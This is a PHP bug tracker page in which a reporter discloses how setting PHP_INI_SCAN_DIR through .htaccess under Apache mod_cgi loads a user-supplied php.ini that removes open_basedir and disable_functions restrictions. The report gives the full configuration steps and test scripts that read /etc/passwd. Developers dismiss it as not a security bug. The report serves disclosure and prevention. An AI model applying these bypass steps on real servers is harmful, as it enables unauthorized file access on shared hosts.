php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #79449 PHP CGI Security Restrictions Bypass (open_basedir, disable_functions, ...)
Submitted: 2020-04-03 20:42 UTC Modified: 2020-04-04 18:57 UTC
From: havijoori at protonmail dot com Assigned:
Status: Not a bug Package: *General Issues
PHP Version: 7.4.4 OS: Linux
Private report: No CVE-ID: None
View Add Comment Developer Edit
Welcome! If you don't have a Git account, you can't do anything here.
You can add a comment by following this link or if you reported this bug, you can edit this bug over here.
(description)
Block user comment
Status: Assign to:
Package:
Bug Type:
Summary:
From: havijoori at protonmail dot com
New email:
PHP Version: OS:

 

 [2020-04-03 20:42 UTC] havijoori at protonmail dot com
Description:
------------
Description :
=============
One of PHP features is running PHP scripts as CGI scripts with PHP-CGI. For example in Apache http server, we can refer php scripts to PHP-CGI with mod_cgi. In this state, PHP looks for PHP_INI_SCAN_DIR environment variable to find directory containing .ini files. So if we set this environment variable befoe calling php scripts, we can rewrite default php.ini configs such as open_basedir, disable_functions and other security configs.


PoC :
=====
First we configure a web server which handles PHP as CGI with mod_cgi.
Apache config file is something like this :

--------------------
LoadModule cgi_module modules/mod_cgi.so
DocumentRoot "/srv/http"
<Directory "/srv/http">
    AllowOverride All
    Require all granted
</Directory>
Action php-script /cgi-bin/php
AddHandler php-script .php
...
--------------------

And we set some security restrictions in PHP config file :

--------------------
[PHP]
open_basedir = /srv/http:/tmp
disable_functions = phpinfo
...
--------------------

Now, we test our security config with a simple test.php file :

--------------------
<?php
echo file_get_contents('/etc/passwd');
?>
--------------------

<b>Warning</b>:  file_get_contents(): open_basedir restriction in effect. File(/etc/passwd) is not within the allowed path(s): (/srv/http:/tmp) in <b>/srv/http/test.php</b> on line <b>2</b><br />


And :

--------------------
<?php
echo phpinfo();
?>
--------------------

<b>Warning</b>:  phpinfo() has been disabled for security reasons in <b>/srv/http/test.php</b> on line <b>2</b><br />


OK, now we make a .htaccess file in /srv/http and set PHP_INI_SCAN_DIR environment variable :

--------------------
SetEnv PHP_INI_SCAN_DIR /srv/http
--------------------


And a php.ini file in /srv/http :

--------------------
[PHP]
open_basedir = /
disable_functions =
--------------------


Here, both security restrictions are bypassed and we can read /etc/passwd file and run phpinfo function.
Tested with PHP 7.4.4 and Apache 2.4.41.


Prevention :
============
To prevent this vulnerability, you can put a config like "clear_env" in PHP-FPM for PHP-CGI or remove PHP_INI_SCAN_DIR from environment variables in CGI mode.



Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2020-04-03 20:46 UTC] stas@php.net
-Status: Open +Status: Not a bug -Type: Security +Type: Bug
 [2020-04-03 20:46 UTC] stas@php.net
This is not a security issue, if you give your users control over the environment, they can influence the environment.
 [2020-04-03 21:20 UTC] havijoori at protonmail dot com
Yes, but some environment variables can be critical and should be protected.
Same as the work you are doing in PHP-FPM.
This can help servers like shared hosts which are serving PHP with mod_cgi.
 [2020-04-04 18:57 UTC] havijoori at protonmail dot com
If you don't care about this issue, so I am going to publish it.
 [2020-04-04 19:21 UTC] bugreports at gmail dot com
when you supply unsecure webspaces where your users can use SetEnv it's PEBCAK (problem exists between chair and keyboard) and when i set PHP_INI_SCAN_DIR in a proper controlled environemt it's there for a reason and php has no business to ignore it
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Thu Apr 18 23:01:27 2024 UTC